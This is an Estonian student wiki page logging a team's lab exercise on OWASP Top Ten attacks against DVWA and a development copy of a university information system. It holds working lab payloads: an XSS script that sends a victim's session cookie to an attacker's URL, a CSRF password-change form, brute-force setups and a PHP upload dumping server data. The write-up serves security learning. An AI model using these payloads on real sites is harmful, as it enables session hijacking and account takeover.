Security team

From ICO wiki
Jump to navigationJump to search

1. päev - Materjalidga tutvumine

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

   A1: Injection - Urmo
   A2: Cross-Site Scripting (XSS) - Alo
   A3: Broken Authentication and Session Management - Sander
   A4: Insecure Direct Object References - Alo
   A5: Cross-Site Request Forgery (CSRF) - Taavi
   A6: Security Misconfiguration - Matis
   A7: Insecure Cryptographic Storage - Matis
   A8: Failure to Restrict URL Access - Urmo
   A9: Insufficient Transport Layer Protection - Taavi
   A10: Unvalidated Redirects and Forwards - Sander

2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine

Alo tegevus

Urmo tegevus

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

Brute Force (DVWA)

Käsitsi välja uuritud login andmed: kasutajanimi: admin parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce. Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse. Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect". Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem. Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080. Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta. Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema. Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki. Ründe stiiliks määrata Pitchfork. Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama. Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid. Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet. Kahjuks ka see rünne ei toiminud teadmata põhjusel. Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

CSRF - Cross-site request forgery

Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist. Võtsime lehe Source Code lahti Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele. Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole. Current Password lahtri jätsime samaks. Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin". Salvestasime faili ja käivitasime selle. Tuli ette ainult lahter Current Passwordi ja Submit nupuga. Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

Taavi tegevus

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.


Matise tegevus

Reflected Cross Site Scripting (XSS)

  • Lehel on selline Form:

  • Form väljastab : Hello „sisestatud nimi“
  • Easy puhul:
  • Saab sisestada textboxi skripti:
  • <script> alert(document.cookie.match(/PHPSESSID=[^;\]+/)); </script>
  • Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.
  • Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID:
  • <script> this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/); </script>
  • Saab kohe enda veebiserveri logidest näha Session ID’d.
    Näide logist:
  • /var/log/apache2/access.log 127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-"
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
  • Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.

Sanderi tegevus

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).

Faili üleslaadimine: madal tase

  • DVWA Security määrata: Low -> Submit
  • Valida: Upload
  • Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess
  • Üleslaetavasse *.php faili saab kirjutada php koodi: <?php var_dump($_REQUEST, $_SERVER); ?>
  • Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:
  • esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low"); teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME", "SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.

Faili üleslaadimine: keskmine tase

Faili üleslaadimine: kõrge tase

  • DVWA Security määrata: High -> Submit
  • Valida: Upload
  • Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)
  • Üleslaetavasse *.jpg faili saab kirjutada php koodi.
  • Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.
  • Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:
  • ERROR: File not found!
  • Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:
  • http://www.motobit.com/util/base64-decoder-encoder.asp
  • Moodustades loodud faili asukohast kood ja kasutades
  • data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw== üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis: http://dvwa/hackable/uploads/*.jpg

3. päev

Alo tegevus

Urmo tegevus

Taavi tegevus

Matise tegevus

Sanderi tegevus

Backtrack: w3af

Võimalik kätte saada SSL Certificate. Sisse logimine ei õnnestu. Mozilla Firefox küpsis õnnestus luua, aga programm seda loodud sessiooni ID-ga küpsist kasutada ei suutnud. Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud. Programmi sisestatud andmetega ka mitte.

(Täiendada!)

4. päev

Alo tegevus

Urmo tegevus

Taavi tegevus

Matise tegevus

Sanderi tegevus

Tegijad

Alo Konno
Urmo Lihten
Taavi Podžuks
Matis Alliksoo
Sander Saarm